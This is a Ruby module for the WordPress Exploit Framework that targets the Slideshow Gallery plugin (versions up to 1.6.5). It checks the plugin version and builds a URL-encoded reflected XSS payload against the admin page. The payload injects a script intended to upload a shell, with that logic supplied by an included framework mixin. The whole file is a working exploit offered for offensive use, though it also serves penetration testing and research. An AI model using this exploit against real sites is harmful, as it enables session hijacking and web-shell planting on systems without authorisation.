# frozen_string_literal: true

class Wpxf::Exploit::SlideshowGalleryReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'Slideshow Gallery <= 1.6.5 Reflected XSS Shell Upload',
      author: [
        'DefenseCode <www.defensecode.com>', # Discovery
        'rastating'                          # WPXF module
      ],
      references: [
        ['WPVDB', '8795'],
        ['URL', 'http://www.defensecode.com/advisories/DC-2017-01-014_WordPress_Tribulant_Slideshow_Gallery_Plugin_Advisory.pdf']
      ],
      date: 'Apr 10 2017'
    )
  end

  def check
    check_plugin_version_from_readme('slideshow-gallery', '1.6.6')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'admin.php')
  end

  def url_with_xss
    "#{vulnerable_url}?page=slideshow-galleries&method=view&id=#{Utility::Text.rand_numeric(2)}"\
    "%5C%5C%5C%5C%22%3E%3Cscript%3E#{xss_url_and_ascii_encoded_include_script}%3C%2Fscript%3E%3Ca+href%3D%22"
  end
end
